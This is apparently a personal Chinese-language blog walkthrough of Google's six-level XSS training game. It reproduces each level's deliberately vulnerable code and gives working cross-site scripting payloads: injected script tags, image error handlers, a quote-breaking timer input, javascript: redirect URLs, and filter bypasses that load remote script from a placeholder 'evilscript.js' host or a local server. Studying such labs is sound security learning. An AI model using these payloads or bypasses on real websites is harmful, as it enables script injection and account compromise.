嗯,一個月都沒弄最後一關。。。今天回家,寫出來吧,我都是參考了答案了的,菜鳥勿怪,其實也就是給自己記錄。。。
谷歌XSS 第一關 Hello, world of XSS
page_header = """
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
</head>
<body id="level1">
<img src="/static/logos/level1.png">
<div>
"""
page_footer = """
</div>
</body>
</html>
"""
main_page_markup = """
<form action="" method="GET">
<input id="query" name="query" value="Enter query here..."
οnfοcus="this.value=''">
<input id="button" type="submit" value="Search">
</form>
"""
class MainPage(webapp.RequestHandler):
def render_string(self, s):
self.response.out.write(s)
def get(self):
# Disable the reflected XSS filter for demonstration purposes
self.response.headers.add_header("X-XSS-Protection", "0")
if not self.request.get('query'):
# Show main search page
self.render_string(page_header + main_page_markup + page_footer)
else:
query = self.request.get('query', '[empty]')
# Our search engine broke, we found no results :-(
message = "Sorry, no results were found for <b>" + query + "</b>."//這裏query 是你輸入的東西
message += " <a href='?'>Try again</a>."
# Display the results page
self.render_string(page_header + message + page_footer)//應該是這裏有問題了 我記得我以前看的說了這個函數很可能會出問題
return
application = webapp.WSGIApplication([ ('.*', MainPage), ], debug=False)
解決就是直接在裏面輸入<script>alert(1)</script>
第二關 Persistence is key
index.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<!-- This is our database of messages -->
<script src="/static/post-store.js"></script>
<script>
var defaultMessage = "Welcome!<br><br>This is your <i>personal</i>"
+ " stream. You can post anything you want here, especially "
+ "<span style='color: #f00ba7'>madness</span>."; //這是第一個顯示
var DB = new PostDB(defaultMessage);
function displayPosts() {
var containerEl = document.getElementById("post-container");
containerEl.innerHTML = "";
var posts = DB.getPosts();
for (var i=0; i<posts.length; i++) {
var html = '<table class="message"> <tr> <td valign=top> '
+ '<img src="/static/level2_icon.png"> </td> <td valign=top '
+ ' class="message-container"> <div class="shim"></div>';
html += '<b>You</b>';
html += '<span class="date">' + new Date(posts[i].date) + '</span>' //這個是時間啦 雖然我學的水皮
html += "<blockquote>" + posts[i].message + "</blockquote"; //posts[i].message應該就是我們輸入了 如何構造了?這個樣子一看就知道<script>alert(1)</script>是不可行的。 我們換種來 比如在<a href=”javascript:alert(1)”>Clickme</a>這個貌似木有用,好吧換個<a href="click" onclik="javascript:alert(1);">click</a> 我不怎麼明白這2個有啥區別。。。 類比啦,可以加載一個圖片<img src="你咬我啊" οnerrοr="javascript:alert(1);"/> 加載失敗。加載成功了就是這個樣子啦 <img src="http://photocdn.sohu.com/20131012/Img388037248.jpg" onLoad="javascript:alert(1);"/>
html += "</td></tr></table>"
containerEl.innerHTML += html;
}
}
window.onload = function() {
document.getElementById('clear-form').onsubmit = function() {
DB.clear(function() { displayPosts() });
return false;
}
document.getElementById('post-form').onsubmit = function() {
var message = document.getElementById('post-content').value;
DB.save(message, function() { displayPosts() } );
document.getElementById('post-content').value = "";
return false;
}
displayPosts();
}
</script>
</head>
<body id="level2">
<div id="header">
<img src="/static/logos/level2.png" />
<div>Chatter from across the Web.</div>
<form action="?" id="clear-form">
<input class="clear" type="submit" value="Clear all posts">
</form>
</div>
<div id="post-container"></div>
<table class="message">
<tr>
<td valign="top">
<img src="/static/level2_icon.png">
</td>
<td class="message-container">
<div class="shim"></div>
<form action="?" id="post-form">
<textarea id="post-content" name="content" rows="2"
cols="50"></textarea>
<input class="share" type="submit" value="Share status!"> //這裏是輸入那裏的界面
<input type="hidden" name="action" value="sign">
</form>
</td>
</tr>
</table>
</body>
</html>
level.py
class MainPage(webapp.RequestHandler):
def render_template(self, filename, context={}):
path = os.path.join(os.path.dirname(__file__), filename)
self.response.out.write(template.render(path, context))
def get(self):
self.render_template('index.html')
application = webapp.WSGIApplication([ ('.*', MainPage) ], debug=False)
post-store.js
/*
* Objects to implement a client-side post database.
*/
function Post(message) {
this.message = message;
this.date = (new Date()).getTime();
}
function PostDB(defaultMessage) {
// Initial message to display to users
this._defaultMessage = defaultMessage || "";
this.setup = function() {
var defaultPost = new Post(defaultMessage);
window.localStorage["postDB"] = JSON.stringify({
"posts" : [defaultPost]
});
}
this.save = function(message, callback) {
var newPost = new Post(message);
var allPosts = this.getPosts();
allPosts.push(newPost);
window.localStorage["postDB"] = JSON.stringify({
"posts" : allPosts
});
callback();
return false;
}
this.clear = function(callback) {
this.setup();
callback();
return false;
}
this.getPosts = function() {
return JSON.parse(window.localStorage["postDB"]).posts;
}
if(!window.localStorage["postDB"]) {
this.setup();
}
}
第三關 That sinking feeling
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<!-- Load jQuery -->
<script
src="//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js">
</script>
<script>
function chooseTab(num) {
// Dynamically load the appropriate image.
var html = "Image " + parseInt(num) + "<br>
html += "<img src='/static/level3/cloud" + num + ".jpg' />"; //這個貌似有點可能 提示說<script>是無法讓瀏覽器做出相應,額這應該就是DOM反射類型吧 分析啦啦啦啦
.jpg' onLoad='javascript:alert(1)';".jpg' />";(".jpg' />";這個我加不加都可以)
frame#5.jpg' οnerrοr='javascript:alert(1)';//又是加載失敗 你懂的
.jpg'><script>alert(1);</script>//難道是我英語太水了,這個是可以的
$('#tabContent').html(html);
window.location.hash = num;
// Select the current tab
var tabs = document.querySelectorAll('.tab');
for (var i = 0; i < tabs.length; i++) {
if (tabs[i].id == "tab" + parseInt(num)) {
tabs[i].className = "tab active";
} else {
tabs[i].className = "tab";
}
}
// Tell parent we've changed the tab
top.postMessage(self.location.toString(), "*");
}
window.onload = function() {
chooseTab(self.location.hash.substr(1) || "1");
}
// Extra code so that we can communicate with the parent page
window.addEventListener("message", function(event){
if (event.source == parent) {
chooseTab(self.location.hash.substr(1));
}
}, false);
</script>
</head>
<body id="level3">
<div id="header">
<img id="logo" src="/static/logos/level3.png">
<span>Take a tour of our cloud data center.</a>
</div>
<div class="tab" id="tab1" οnclick="chooseTab('1')">Image 1</div>
<div class="tab" id="tab2" οnclick="chooseTab('2')">Image 2</div>
<div class="tab" id="tab3" οnclick="chooseTab('3')">Image 3</div>
<div id="tabContent"> </div>
</body>
</html>
level.py
class MainPage(webapp.RequestHandler):
def render_template(self, filename, context={}):
path = os.path.join(os.path.dirname(__file__), filename)
self.response.out.write(template.render(path, context))
def get(self):
self.render_template('index.html')
application = webapp.WSGIApplication([ ('.*', MainPage), ], debug=False)
第4關 Context matters
index.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
</head>
<body id="level4">
<img src="/static/logos/level4.png" />
<br>
<form action="" method="GET">
<input id="timer" name="timer" value="3">
<input id="button" type="submit" value="Create timer"> </form> //這裏吧
</form>
</body>
</html>
timer.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<script>
function startTimer(seconds) {
seconds = parseInt(seconds) || 3; //這裏怎麼弄? pareseInt(seconds)讓你用單詞的話轉碼就失敗啦。。。 ||的意思應該是讓如果你輸入的不是數字就直接使用3.。。。貌似木有什麼關係啊,因爲我下面是直接的timer
setTimeout(function() {
window.confirm("Time is up!");
window.history.back();
}, seconds * 1000);
}
</script>
</head>
<body id="level4">
<img src="/static/logos/level4.png" />
<br>
<img src="/static/loading.gif" οnlοad="startTimer('{{ timer }}');" /> //這裏傳進去吧 還是換world文檔寫,寫的舒服點。嗯 那麼我嘗試一下1}}’);” οnlοad=”javascript:alert(1);”/>毫無作用。。。 無腦弄這個果然是要拼RP的。。。 還是看startTimer()這個函數吧 上面貌似也沒蝦米幫助,然後了 1');alert(1);//這個是可以的 所以瞭然後嘗試||這個符號吧也就是1’)||alert(1);是可以的。。。。提示裏面說需要轉碼但是 1')%3Balert(1
1')%3Balert('1 要點GO了被轉碼了才能用。。。翻牆感覺比較卡,所以。。。
<br>
<div id="message">Your timer will execute in {{ timer }} seconds.</div> //這裏也可以吧
</body>
</html>
level.py
class MainPage(webapp.RequestHandler):
def render_template(self, filename, context={}):
path = os.path.join(os.path.dirname(__file__), filename)
self.response.out.write(template.render(path, context))
def get(self):
# Disable the reflected XSS filter for demonstration purposes
self.response.headers.add_header("X-XSS-Protection", "0")
if not self.request.get('timer'):
# Show main timer page
self.render_template('index.html')
else:
# Show the results page
timer= self.request.get('timer', 0)
self.render_template('timer.html', { 'timer' : timer })
return
application = webapp.WSGIApplication([ ('.*', MainPage), ], debug=False)
第5關 Breaking protocol
Wlcome.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<scriptsrc="/static/game-frame.js"></script>
<linkrel="stylesheet"href="/static/game-frame-styles.css"/>
</head>
<bodyid="level5">
Welcome! Today we are announcing the much anticipated<br><br>
<imgsrc="/static/logos/level5.png"/><br><br>
<ahref="/level5/frame/signup?next=confirm">Sign up</a>
for an exclusive Beta.
</body>
</html>
Signup.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet"href="/static/game-frame-styles.css"/>
</head>
<body id="level5">
<img src="/static/logos/level5.png"/><br><br>
<!-- We're ignoring the email, but the poor user will never know! -->
Enter email: <input id="reader-email"name="email"value="">
<br><br>
<a href="{{ next }}">Next >></a>
</body>
</html>
Level.py
class MainPage(webapp.RequestHandler):
def render_template(self, filename, context={}):
path = os.path.join(os.path.dirname(__file__), filename)
self.response.out.write(template.render(path, context))
def get(self):
# Disable the reflected XSS filter for demonstration purposes
self.response.headers.add_header("X-XSS-Protection", "0")
# Route the request to the appropriate template
if "signup" in self.request.path:
self.render_template('signup.html',
{'next': self.request.get('next')})
elif "confirm" in self.request.path:
self.render_template('confirm.html',
{'next': self.request.get('next', 'welcome')})
else:
self.render_template('welcome.html', {})
return
application = webapp.WSGIApplication([ ('.*', MainPage), ], debug=False)
Confirm.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet"href="/static/game-frame-styles.css"/>
</head>
<body id="level5">
<img src="/static/logos/level5.png"/><br><br>
Thanks for signing up, you will be redirected soon...
<script>
setTimeout(function() { window.location = '{{ next }}'; }, 5000);
</script>
</body>
</html>
這關是在signup?next=javascript:alert(1)然後那個繼續
breaking protocol破壞框架 着實找答案學習的。。。
感覺是這句話有問題
<ahref="/level5/frame/signup?next=confirm">Sign up</a>以後再看看吧
第6關 Follow the
Index.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<scriptsrc="/static/game-frame.js"></script>
<linkrel="stylesheet"href="/static/game-frame-styles.css"/>
<script>
function setInnerText(element, value) {
if (element.innerText) {
element.innerText = value;
} else {
element.textContent = value;
}
}
function includeGadget(url) {
var scriptEl = document.createElement('script');
// This will totally prevent us from loading evil URLs!
if (url.match(/^https?:\/\//)) {
setInnerText(document.getElementById("log"),
"Sorry, cannot load a URL containing \"http\".");
return;
}
// Load this awesome gadget
scriptEl.src = url;
// Show log messages
scriptEl.onload = function() {
setInnerText(document.getElementById("log"),
"Loaded gadget from " + url);
}
scriptEl.onerror = function() {
setInnerText(document.getElementById("log"),
"Couldn't load gadget from " + url);
}
document.head.appendChild(scriptEl);
}
// Take the value after # and use it as the gadget filename.
function getGadgetName() {
return window.location.hash.substr(1) || "/static/gadget.js";
}
includeGadget(getGadgetName());
// Extra code so that we can communicate with the parent page
window.addEventListener("message", function(event){
if (event.source == parent) {
includeGadget(getGadgetName());
}
}, false);
</script>
</head>
<bodyid="level6">
<imgsrc="/static/logos/level6.png">
<imgid="cube"src="/static/level6_cube.png">
<divid="log">Loading gadget...</div>
</body>
</html>
Level.py
classMainPage(webapp.RequestHandler):
defrender_template(self, filename, context={}):
path=os.path.join(os.path.dirname(__file__), filename)
self.response.out.write(template.render(path, context))
defget(self):
self.render_template('index.html')
application=webapp.WSGIApplication([ ('.*', MainPage), ], debug=False)
在最後一關,我們可以用如下方式使用data:text/javascript:
data:text/javascript,alert(1);
https://xss-game.appspot.com/level6/frame#data:text/javascript,alert(1);//就像是注入啊
正則表達式也是大小寫敏感的,所以我們可以用“HTTP”代替“http”,之後用如下這種方式加載遠程腳本:
HTTP://127.0.0.1:8000
或在網址最開始處添加一個空格:
[空格]http://127.0.0.1:8000
首頁必須包含一些類似alert(1)這樣的javascript腳本。
我在網絡上看到有些人沒辦法加載某些HTTP腳本,因爲他們使用的是HTTPS版本,這種情況下,可以自己創建一個簡單的HTTPS服務器(例如使用Node.js)。
var https = require('https');
var fs = require('fs');
var hskey = fs.readFileSync('server.key');
var hscert = fs.readFileSync('server.crt')
var options = {
key: hskey,
cert: hscert
};
https.createServer(options, function (req, res){
res.writeHead(200);
res.end("alert(1);");
}).listen(8000);
利用Node.js實現簡單的HTTPS服務器
在這兩種情況下,可以使用以下代碼繞過過濾:
//website.com/evilscript.js
雙反斜槓符號//是使用https或http的另一種方式,實際情況中會用哪個取決於網站使用的協議。
例如,如果運行着自己的HTTPS服務器,可以注入以下代碼:
//127.0.0.1:8000
那個網頁做下源碼,我自己翻牆訪問自己的網站慢的死,就沒訪問成功
<html>
<head>
<script type="text/javascript">
alert("1")
</script>
</head>
<body>
</body>
</html>